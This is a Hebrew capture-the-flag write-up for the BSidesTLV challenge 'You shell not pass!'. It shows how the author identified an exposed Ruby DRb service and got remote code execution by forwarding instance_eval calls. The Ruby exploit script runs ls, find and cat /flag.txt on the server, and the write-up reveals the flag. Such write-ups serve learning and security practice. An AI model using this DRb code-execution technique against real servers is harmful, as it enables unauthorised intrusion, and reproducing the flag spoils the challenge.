You "shell" not pass!

תיאור

You "shell" not pass!

פתרון

צורף למשימה קישור לסרטון בyoutube, שמסביר איך להשתמש בשלט רחוק של טלוויזיה.

צורף בנוסף, כתובת לnetcat

התחברתי אליו, ושלחתי סתם רצף אקראי של אותיות.

זו ההודעה שקיבלתי:

רואים כאן הודעת שגיאה: to large packet עם מספר גדול מאוד.

מחשבה שלי היא שזה כנראה איזשהו ניסיון לdeserialization. רואים גם שהשרת מריץ רובי גרסת 2.6.0, וגם שקובץ השגיאה הוא drb.rb.

חיפוש קטן באינטרנט על DRb, מעלה את הדוקומנטציה הבאה:

https://ruby-doc.org/stdlib-2.6.1/libdoc/drb/rdoc/DRb.html

בקיצור נמרץ: DRb הוא מערכת אובייקטים מבוזרת של רובי. DRb מאפשר קריאה של מתודות מתהליך אחד של רובי לתהליך אחר של רובי, אפילו בין מכונות שונות.

ליותר תובנות כדאי לקרוא את הדוקומנטציה.

כפי שרואים בדוקומנטציה, מגדירים שרת בתחילית של druby:// ומשתמשים ב

DRbObject:new_with_uri(SERVER_URI)

עוד מתוך הדוקומנטציה: יש תבליט בשם Security שטוען שיש אפשרות להשתמש ב-instance_eval

ע"י DRbObject ואפשר להריץ כל קוד בשרת.

ניסיון ראשון היה ע"י הקוד הבא:

SERVER_URI="druby://notpass.challenges.bsidestlv.com:1337"

DRb.start_service

ro = DRbObject.new_with_uri(SERVER_URI)

class \<\< ro

undef :instance_eval \# force call to be passed to remote object

end

ro.instance_eval("\`ls -l\`")

וקיבלתי את התשובה הבאה: =\> "total 4\\n-rw-rw-rw- 1 bsidestl bsidestl 156 Jun 17 11:19 app.rb\\n"

כל מה שנשאר זה לחפש את הflag.

שינוי קטן בשורה האחרונה בקוד, יעשה את החיפוש: ro.instance_eval("\find / -iname flag*`")`

התוצאה הראשונה שמקבלים היא /flag.txt

רק נשאר לעשות שינוי נוסף ro.instance_eval("\cat /flag.txt`")`

ומקבלים BSidesTLV{D1stribut3dRubbyS3rv3r}